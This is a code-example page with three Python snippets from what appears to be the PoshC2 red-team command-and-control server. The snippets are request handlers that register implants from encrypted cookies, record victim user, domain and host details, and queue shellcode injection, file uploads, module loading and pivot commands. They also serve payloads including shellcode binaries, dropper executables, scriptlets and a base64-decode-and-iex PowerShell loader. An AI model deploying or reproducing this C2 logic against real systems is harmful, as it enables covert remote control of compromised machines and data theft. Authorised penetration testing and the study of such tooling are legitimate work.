コード例 #1
0
    def do_GET(self):
        try:
            """Respond to a GET request."""
            response_content_len = None
            response_code = 200
            response_content_type = "text/html"
            response_content = None

            hosted_files = get_hosted_files()

            webserver_log("GET request,\nPath: %s\nHeaders:\n%s\n" % (str(self.path), str(self.headers)))

            self.cookieHeader = self.headers.get('Cookie')
            self.ref = self.headers.get('Referer')

            UriPath = str(self.path)
            sharplist = []
            for hosted_file in sharpurls:
                hosted_file = hosted_file.replace(" ", "")
                hosted_file = hosted_file.replace("\"", "")
                sharplist.append("/" + hosted_file)

            self.server_version = ServerHeader
            self.sys_version = ""
            if not self.cookieHeader:
                self.cookieHeader = "NONE"

            # implant gets a new task
            new_task = newTask(self.path)

            if new_task:
                response_content = new_task

            elif [ele for ele in sharplist if(ele in UriPath)]:
                try:
                    webserver_log("%s - [%s] Making GET connection to SharpSocks %s%s\r\n" % (self.address_string(), self.log_date_time_string(), SocksHost, UriPath))
                    r = Request("%s%s" % (SocksHost, UriPath), headers={'Accept-Encoding': 'gzip', 'Cookie': '%s' % self.cookieHeader, 'User-Agent': UserAgent})
                    res = urlopen(r)
                    sharpout = res.read()
                    response_content_len = len(sharpout)
                    if (len(sharpout) > 0):
                        response_content = sharpout
                except HTTPError as e:
                    response_code = e.code
                    webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                    webserver_log("[-] SharpSocks  %s\r\n" % e)
                except Exception as e:
                    webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                    webserver_log("[-] SharpSocks  %s\r\n" % e)
                    print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END)
                    response_code = 404
                    HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                    if HTTPResponsePage:
                        response_content = bytes(HTTPResponsePage, "utf-8")
                    else:
                        response_content = bytes(GET_404_Response, "utf-8")

            # dynamically hosted files
            elif [ele for ele in hosted_files if(ele.URI in self.path)]:
                for hosted_file in hosted_files:
                    if hosted_file.URI == self.path or f"/{hosted_file.URI}" == self.path and hosted_file.Active == "Yes":
                        try:
                            response_content = open(hosted_file.FilePath, 'rb').read()
                        except FileNotFoundError as e:
                            print_bad(f"Hosted file not found (src_addr: {self.client_address[0]}): {hosted_file.URI} -> {e.filename}")
                        response_content_type = hosted_file.ContentType
                        if hosted_file.Base64 == "Yes":
                            response_content = base64.b64encode(response_content)

                        # do this for the python dropper only
                        if "_py" in hosted_file.URI:
                            response_content = "a" + "".join("{:02x}".format(c) for c in response_content)
                            response_content = bytes(response_content, "utf-8")

            # register new implant
            elif new_implant_url in self.path and self.cookieHeader.startswith("SessionID"):
                implant_type = "PS"
                if self.path == ("%s?p" % new_implant_url):
                    implant_type = "PS Proxy"
                if self.path == ("%s?d" % new_implant_url):
                    implant_type = "PS Daisy"
                if self.path == ("%s?m" % new_implant_url):
                    implant_type = "Python"
                if self.path == ("%s?d?m" % new_implant_url):
                    implant_type = "Python Daisy"
                if self.path == ("%s?p?m" % new_implant_url):
                    implant_type = "Python Proxy"
                if self.path == ("%s?c" % new_implant_url):
                    implant_type = "C#"
                if self.path == ("%s?d?c" % new_implant_url):
                    implant_type = "C# Daisy"
                if self.path == ("%s?p?c" % new_implant_url):
                    implant_type = "C# Proxy"
                if self.path == ("%s?j" % new_implant_url):
                    implant_type = "JXA"
                if self.path == ("%s?e" % new_implant_url):
                    implant_type = "NativeLinux"
                if self.path == ("%s?p?e" % new_implant_url):
                    implant_type = "NativeLinux Proxy"

                if implant_type.startswith("C#"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    Domain, User, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
                    URLID = URLID.replace("\x00", "")
                    if "\\" in User:
                        User = User[User.index("\\") + 1:]
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), int(URLID))
                    newImplant.save()
                    newImplant.display()
                    newImplant.autoruns()
                    response_content = encrypt(KEY, newImplant.SharpCore)

                elif implant_type.startswith("Python"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    User, Domain, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
                    URLID = URLID.replace("\x00", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower(), URLID)
                    newImplant.save()
                    newImplant.display()
                    response_content = encrypt(KEY, newImplant.PythonCore)

                elif implant_type.startswith("JXA"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    User, Hostname, PID, ProcName, URLID = decCookie.split(";")
                    Domain = Hostname
                    URLID = URLID.replace("\x00", "")
                    URLID = URLID.replace("\x07", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), "x64", PID, str(ProcName).lower(), URLID)
                    newImplant.save()
                    newImplant.display()
                    response_content = encrypt(KEY, newImplant.JXACore)

                elif implant_type.startswith("NativeLinux"):
                    ProcName = "Linux Dropper"
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    User, Domain, Hostname, Arch, PID, URLID = decCookie.split(";")
                    URLID = URLID.replace("\x00", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), URLID)
                    newImplant.save()
                    newImplant.display()
                    response_content=encrypt(KEY, newImplant.NativeCore)                    
                else:
                    try:
                        cookieVal = (self.cookieHeader).replace("SessionID=", "")
                        decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
                        decCookie = str(decCookie)
                        Domain, User, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
                        URLID = URLID.replace("\x00", "")
                        IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                        if "\\" in str(User):
                            User = User[str(User).index('\\') + 1:]
                        newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), URLID)
                        newImplant.save()
                        newImplant.display()
                        newImplant.autoruns()
                        response_content = encrypt(KEY, newImplant.PSCore)
                    except Exception as e:
                        print("Decryption error: %s" % e)
                        traceback.print_exc()
                        response_code = 404
                        HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                        if HTTPResponsePage:
                            response_content = bytes(HTTPResponsePage, "utf-8")
                        else:
                            response_content = bytes(GET_404_Response, "utf-8")
            else:
                response_code = 404
                HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                if HTTPResponsePage:
                    response_content = bytes(HTTPResponsePage, "utf-8")
                else:

                    response_content = bytes(GET_404_Response, "utf-8")

            # send response
            self.send_response(response_code)
            self.send_header("Content-type", response_content_type)
            if response_content_len is not None:
                self.send_header("Connection", "close")
                self.send_header("Content-Length", response_content_len)
            self.end_headers()

            if response_content is not None:
                self.wfile.write(response_content)

        except Exception as e:
            webserver_log("Error handling GET request: " + str(e))
            webserver_log(traceback.format_exc())
コード例 #2
0
def newTask(path):
    all_implants = DB.get_implants_all()
    commands = ""
    if all_implants:
        for i in all_implants:
            RandomURI = i.RandomURI
            Pivot = i.Pivot
            EncKey = i.Key
            tasks = DB.get_newtasks(RandomURI)
            if RandomURI in path and tasks:
                for task in tasks:
                    command = task[2]
                    user = task[3]
                    user_command = command
                    implant = DB.get_implantbyrandomuri(RandomURI)
                    implant_type = DB.get_implanttype(RandomURI)
                    now = datetime.datetime.now()
                    if (command.lower(
                    ).startswith("$shellcode64")) or (command.lower(
                    ).startswith("$shellcode86") or command.lower().startswith(
                            "run-exe core.program core inject-shellcode"
                    ) or command.lower().startswith(
                            "run-exe pbind pbind run-exe core.program core inject-shellcode"
                    ) or command.lower().startswith(
                            "pbind-command run-exe core.program core inject-shellcode"
                    ) or command.lower().startswith(
                            "pbind-pivot-command run-exe core.program core inject-shellcode"
                    )):
                        user_command = "Inject Shellcode: %s" % command[
                            command.index("#") + 1:]
                        command = command[:command.index("#")]
                    elif " -pycode " in command.lower():
                        split_command = command.strip().split()
                        args = split_command[3:]
                        module = split_command[0]
                        user_command = module + " " + " ".join(args)
                    elif (command.lower().startswith('upload-file')
                          or command.lower().startswith(
                              'pbind-command upload-file')
                          or command.lower().startswith(
                              'fcomm-command upload-file')):
                        PBind = False
                        FComm = False
                        if command.lower().startswith(
                                'pbind-command upload-file'):
                            PBind = True
                        if command.lower().startswith(
                                'fcomm-command upload-file'):
                            FComm = True
                        upload_args = command \
                            .replace('pbind-command upload-file', '') \
                            .replace('fcomm-command upload-file', '') \
                            .replace('upload-file', '')
                        upload_file_args_split = upload_args.split()
                        if len(upload_file_args_split) < 2:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  upload_args)
                            print(Colours.GREEN)
                            continue
                        upload_file = upload_file_args_split[0]
                        upload_file_destination = upload_file_args_split[1]
                        upload_args = upload_args.replace(upload_file, '')
                        upload_args = upload_args.replace(
                            upload_file_destination, '')
                        with open(upload_file, "rb") as f:
                            upload_file_bytes = f.read()
                        if not upload_file_bytes:
                            print(
                                Colours.RED +
                                f"Error, no bytes read from the upload file, removing task: {upload_file}"
                                + Colours.GREEN)
                            DB.del_newtasks(str(task[0]))
                            continue
                        upload_file_bytes_b64 = base64.b64encode(
                            upload_file_bytes).decode("utf-8")
                        if implant_type.lower().startswith('c#'):
                            command = f"upload-file {upload_file_bytes_b64};\"{upload_file_destination}\" {upload_args}"
                        elif implant_type.lower().startswith('ps'):
                            command = f"Upload-File -Destination \"{upload_file_destination}\" -Base64 {upload_file_bytes_b64} {upload_args}"
                        elif implant_type.lower().startswith('py'):
                            command = f"upload-file \"{upload_file_destination}\":{upload_file_bytes_b64} {upload_args}"
                        else:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  upload_args)
                            print(Colours.GREEN)
                        if PBind:
                            command = f"pbind-command {command}"
                        if FComm:
                            command = f"fcomm-command {command}"
                        filehash = hashlib.md5(
                            base64.b64decode(
                                upload_file_bytes_b64)).hexdigest()
                        user_command = f"Uploading file: {upload_file} to {upload_file_destination} with md5sum: {filehash}"
                    taskId = DB.insert_task(RandomURI, user_command, user)
                    taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
                    if len(str(taskId)) > 5:
                        raise ValueError(
                            'Task ID is greater than 5 characters which is not supported.'
                        )
                    print(Colours.YELLOW)
                    if user is not None and user != "":
                        print(
                            "Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, user, implant.ImplantID,
                               implant.Domain, implant.User, implant.Hostname,
                               now.strftime("%Y-%m-%d %H:%M:%S")))
                    else:
                        print(
                            "Task %s issued against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, implant.ImplantID, implant.Domain,
                               implant.User, implant.Hostname,
                               now.strftime("%Y-%m-%d %H:%M:%S")))
                    try:
                        if (user_command.lower().startswith(
                                "run-exe sharpwmi.program sharpwmi action=execute"
                        ) or user_command.lower().startswith(
                                "pbind-command run-exe sharpwmi.program sharpwmi action=execute"
                        ) or user_command.lower().startswith(
                                "fcomm-command run-exe sharpwmi.program sharpwmi action=execute"
                        )):
                            print(user_command[0:200])
                            print("----TRUNCATED----")
                        else:
                            print(user_command)
                        print(Colours.END)
                    except Exception as e:
                        print("Cannot print output: %s" % e)
                    if task[2].startswith("loadmodule "):
                        try:
                            module_name = (task[2]).replace("loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "loadmodule%s" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            command = ""
                    elif task[2].startswith("run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace("run-exe Program PS ", "")
                            modulestr = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe Program PS %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith(
                            "pbind-pivot-command run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace(
                                "pbind-pivot-command run-exe Program PS ", "")
                            base64string = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            modulestr = base64.b64encode(
                                f"run-exe Program PS {base64string}".encode(
                                    "utf-8")).decode("utf-8")
                            doublebase64string = base64.b64encode(
                                f"run-exe PBind PBind {modulestr}".encode(
                                    "utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % doublebase64string
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith(
                            "pbind-command run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace(
                                "pbind-command run-exe Program PS ", "")
                            base64string = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            modulestr = base64.b64encode(
                                f"run-exe Program PS {base64string}".encode(
                                    "utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith(
                            "fcomm-command run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace(
                                "fcomm-command run-exe Program PS ", "")
                            modulestr = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe FComm.FCClass FComm run-exe Program PS %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pslo "):
                        try:
                            module_name = (task[2]).replace("pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe Program PS loadmodule%s" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pslo"):
                        try:
                            module_name = (task[2]).replace("pbind-pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe PBind PBind \"run-exe Program PS loadmodule%s\"" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pivot-loadmodule "):
                        try:
                            module_name = (task[2]).replace(
                                "pbind-pivot-loadmodule ", "")
                            if ".exe" in module_name or ".dll" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                base64string = base64.b64encode(
                                    f"run-exe PBind PBind \"loadmodule{modulestr}\""
                                    .encode("utf-8")).decode("utf-8")
                                command = f"run-exe PBind PBind {base64string}"
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("fcomm-pslo"):
                        try:
                            module_name = (task[2]).replace("fcomm-pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe FComm.FCClass FComm \"run-exe Program PS loadmodule%s\"" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-loadmodule "):
                        try:
                            module_name = (task[2]).replace(
                                "pbind-loadmodule ", "")
                            if ".exe" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe PBind PBind \"loadmodule%s\"" % modulestr
                            elif ".dll" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe PBind PBind \"loadmodule%s\"" % modulestr
                            else:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module(module_name)
                                command = "run-exe PBind PBind \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
                                    bytes(modulestr, "utf-8")).decode('utf-8')
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-command "):
                        try:
                            cmd = command.replace("pbind-command ", "")
                            base64string = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % base64string
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-connect"):
                        command = command.replace(
                            "pbind-connect ", "run-exe PBind PBind start ")
                    elif task[2].startswith("pbind-kill"):
                        command = command.replace(
                            "pbind-kill", "run-exe PBind PBind kill-implant")
                    elif task[2].startswith("fcomm-loadmodule "):
                        try:
                            module_name = (task[2]).replace(
                                "fcomm-loadmodule ", "")
                            if ".exe" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe FComm.FCClass FComm \"loadmodule%s\"" % modulestr
                            elif ".dll" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe FComm.FCClass FComm \"loadmodule%s\"" % modulestr
                            else:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module(module_name)
                                command = "run-exe FComm.FCClass FComm \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
                                    bytes(modulestr, "utf-8")).decode('utf-8')
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("fcomm-command "):
                        command = command.replace(
                            "fcomm-command ", "run-exe FComm.FCClass FComm ")
                    elif task[2].startswith("fcomm-connect"):
                        command = command.replace(
                            "fcomm-connect ",
                            "run-exe FComm.FCClass FComm start ")
                    elif task[2].startswith("fcomm-kill"):
                        command = command.replace(
                            "fcomm-kill",
                            "run-exe FComm.FCClass FComm kill-implant")

                    elif task[2].startswith("pbind-pivot-command "):
                        try:
                            cmd = command.replace("pbind-pivot-command ", "")
                            base64string1 = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            base64string = base64.b64encode(
                                f"run-exe PBind PBind {base64string1}".encode(
                                    "utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % base64string
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pivot-connect"):
                        command = command.replace(
                            "pbind-pivot-connect ",
                            "run-exe PBind PBind run-exe PBind PBind start ")
                    elif task[2].startswith("pbind-pivot-kill"):
                        command = command.replace(
                            "pbind-pivot-kill",
                            "run-exe PBind PBind run-exe PBind PBind kill-implant"
                        )

                    # Uncomment to print actual commands that are being sent
                    # if "AAAAAAAAAAAAAAAAAAAA" not in command:
                    #    print(Colours.BLUE + "Issuing Command: " + command + Colours.GREEN)

                    command = taskIdStr + command
                    if commands:
                        commands += "!d-3dion@LD!-d" + command
                    else:
                        commands += command
                    DB.del_newtasks(str(task[0]))
                if commands is not None:
                    multicmd = "multicmd%s" % commands
                try:
                    responseVal = encrypt(EncKey, multicmd)
                except Exception as e:
                    responseVal = ""
                    print("Error encrypting value: %s" % e)
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"),
                                           RandomURI)
                return responseVal
            elif RandomURI in path and not tasks:
                # if there is no tasks but its a normal beacon send 200
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"),
                                           RandomURI)
                return default_response()
コード例 #3
0
    def do_GET(self):
        try:
            """Respond to a GET request."""
            logging.info("GET request,\nPath: %s\nHeaders:\n%s\n",
                         str(self.path), str(self.headers))
            new_implant_url = get_newimplanturl()
            self.cookieHeader = self.headers.get('Cookie')
            self.ref = self.headers.get('Referer')
            QuickCommandURI = select_item("QuickCommand", "C2Server")
            UriPath = str(self.path)
            sharpurls = get_sharpurls().split(",")
            sharplist = []
            for i in sharpurls:
                i = i.replace(" ", "")
                i = i.replace("\"", "")
                sharplist.append("/" + i)

            self.server_version = ServerHeader
            self.sys_version = ""
            if not self.cookieHeader:
                self.cookieHeader = "NONE"

            # implant gets a new task
            new_task = newTask(self.path)

            if new_task:
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(new_task)

            elif [ele for ele in sharplist if (ele in UriPath)]:
                try:
                    open("%swebserver.log" % PoshProjectDirectory, "a").write(
                        "%s - [%s] Making GET connection to SharpSocks %s%s\r\n"
                        % (self.address_string(), self.log_date_time_string(),
                           SocksHost, UriPath))
                    r = Request("%s%s" % (SocksHost, UriPath),
                                headers={
                                    'Accept-Encoding': 'gzip',
                                    'Cookie': '%s' % self.cookieHeader,
                                    'User-Agent': UserAgent
                                })
                    res = urlopen(r)
                    sharpout = res.read()
                    self.send_response(200)
                    self.send_header("Content-type", "text/html")
                    self.send_header("Connection", "close")
                    self.send_header("Content-Length", len(sharpout))
                    self.end_headers()
                    if (len(sharpout) > 0):
                        self.wfile.write(sharpout)
                except HTTPError as e:
                    self.send_response(e.code)
                    self.send_header("Content-type", "text/html")
                    self.send_header("Connection", "close")
                    self.end_headers()
                    open("%swebserver.log" % PoshProjectDirectory, "a").write(
                        "[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n"
                        % (SocksHost, UriPath, traceback.format_exc()))
                    open("%swebserver.log" % PoshProjectDirectory,
                         "a").write("[-] SharpSocks  %s\r\n" % e)
                except Exception as e:
                    open("%swebserver.log" % PoshProjectDirectory, "a").write(
                        "[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n"
                        % (SocksHost, UriPath, traceback.format_exc()))
                    open("%swebserver.log" % PoshProjectDirectory,
                         "a").write("[-] SharpSocks  %s\r\n" % e)
                    print(
                        Colours.RED +
                        "Error with SharpSocks or old implant connection - is SharpSocks running"
                        + Colours.END)
                    print(Colours.RED + UriPath + Colours.END)
                    self.send_response(404)
                    self.send_header("Content-type", "text/html")
                    self.end_headers()
                    HTTPResponsePage = select_item("GET_404_Response",
                                                   "C2Server")
                    if HTTPResponsePage:
                        self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
                    else:
                        self.wfile.write(bytes(GET_404_Response, "utf-8"))

            elif ("%s_bs" % QuickCommandURI) in self.path:
                filename = "%spayload.bat" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%s_rp" % QuickCommandURI) in self.path:
                filename = "%spayload.txt" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = base64.b64encode(f.read())
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%s_rg" % QuickCommandURI) in self.path:
                filename = "%srg_sct.xml" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%ss/86/portal" % QuickCommandURI) in self.path:
                filename = "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                content = base64.b64encode(content)
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%ss/64/portal" % QuickCommandURI) in self.path:
                filename = "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                content = base64.b64encode(content)
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%sp/86/portal" % QuickCommandURI) in self.path:
                filename = "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                content = base64.b64encode(content)
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%sp/64/portal" % QuickCommandURI) in self.path:
                filename = "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                content = base64.b64encode(content)
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%s_cs" % QuickCommandURI) in self.path:
                filename = "%scs_sct.xml" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%s_py" % QuickCommandURI) in self.path:
                filename = "%saes.py" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                    content = "a" + "".join("{:02x}".format(c)
                                            for c in content)
                self.send_response(200)
                self.send_header("Content-type", "text/plain")
                self.end_headers()
                self.wfile.write(bytes(content, "utf-8"))

            elif ("%s_ex86" % QuickCommandURI) in self.path:
                filename = "%sPosh32.exe" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                self.send_response(200)
                self.send_header("Content-type", "application/x-msdownload")
                self.end_headers()
                self.wfile.write(content)

            elif ("%s_ex64" % QuickCommandURI) in self.path:
                filename = "%sPosh64.exe" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                self.send_response(200)
                self.send_header("Content-type", "application/x-msdownload")
                self.end_headers()
                self.wfile.write(content)

            # register new implant
            elif new_implant_url in self.path and self.cookieHeader.startswith(
                    "SessionID"):
                implant_type = "PS"
                if self.path == ("%s?p" % new_implant_url):
                    implant_type = "PS Proxy"
                if self.path == ("%s?d" % new_implant_url):
                    implant_type = "PS Daisy"
                if self.path == ("%s?m" % new_implant_url):
                    implant_type = "Python"
                if self.path == ("%s?d?m" % new_implant_url):
                    implant_type = "Python Daisy"
                if self.path == ("%s?p?m" % new_implant_url):
                    implant_type = "Python Proxy"
                if self.path == ("%s?c" % new_implant_url):
                    implant_type = "C#"
                if self.path == ("%s?d?c" % new_implant_url):
                    implant_type = "C# Daisy"
                if self.path == ("%s?p?c" % new_implant_url):
                    implant_type = "C# Proxy"

                if implant_type.startswith("C#"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0],
                                           self.client_address[1])
                    Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(
                        ";")
                    Proxy = Proxy.replace("\x00", "")
                    if "\\" in User:
                        User = User[User.index("\\") + 1:]
                    newImplant = Implant(IPAddress, implant_type, str(Domain),
                                         str(User), str(Hostname), Arch, PID,
                                         Proxy)
                    newImplant.save()
                    newImplant.display()
                    newImplant.autoruns()
                    responseVal = encrypt(KEY, newImplant.SharpCore)
                    self.send_response(200)
                    self.send_header("Content-type", "text/html")
                    self.end_headers()
                    self.wfile.write(responseVal)

                elif implant_type.startswith("Python"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0],
                                           self.client_address[1])
                    User, Domain, Hostname, Arch, PID, Proxy = decCookie.split(
                        ";")
                    Proxy = Proxy.replace("\x00", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain),
                                         str(User), str(Hostname), Arch, PID,
                                         Proxy)
                    newImplant.save()
                    newImplant.display()
                    responseVal = encrypt(KEY, newImplant.PythonCore)

                    self.send_response(200)
                    self.send_header("Content-type", "text/html")
                    self.end_headers()
                    self.wfile.write(responseVal)
                else:
                    try:
                        cookieVal = (self.cookieHeader).replace(
                            "SessionID=", "")
                        decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
                        decCookie = str(decCookie)
                        Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(
                            ";")
                        Proxy = Proxy.replace("\x00", "")
                        IPAddress = "%s:%s" % (self.client_address[0],
                                               self.client_address[1])
                        if "\\" in str(User):
                            User = User[str(User).index('\\') + 1:]
                        newImplant = Implant(IPAddress, implant_type,
                                             str(Domain), str(User),
                                             str(Hostname), Arch, PID, Proxy)
                        newImplant.save()
                        newImplant.display()
                        newImplant.autoruns()
                        responseVal = encrypt(KEY, newImplant.PSCore)
                        self.send_response(200)
                        self.send_header("Content-type", "text/html")
                        self.end_headers()
                        self.wfile.write(responseVal)
                    except Exception as e:
                        print("Decryption error: %s" % e)
                        traceback.print_exc()
                        self.send_response(404)
                        self.send_header("Content-type", "text/html")
                        self.end_headers()
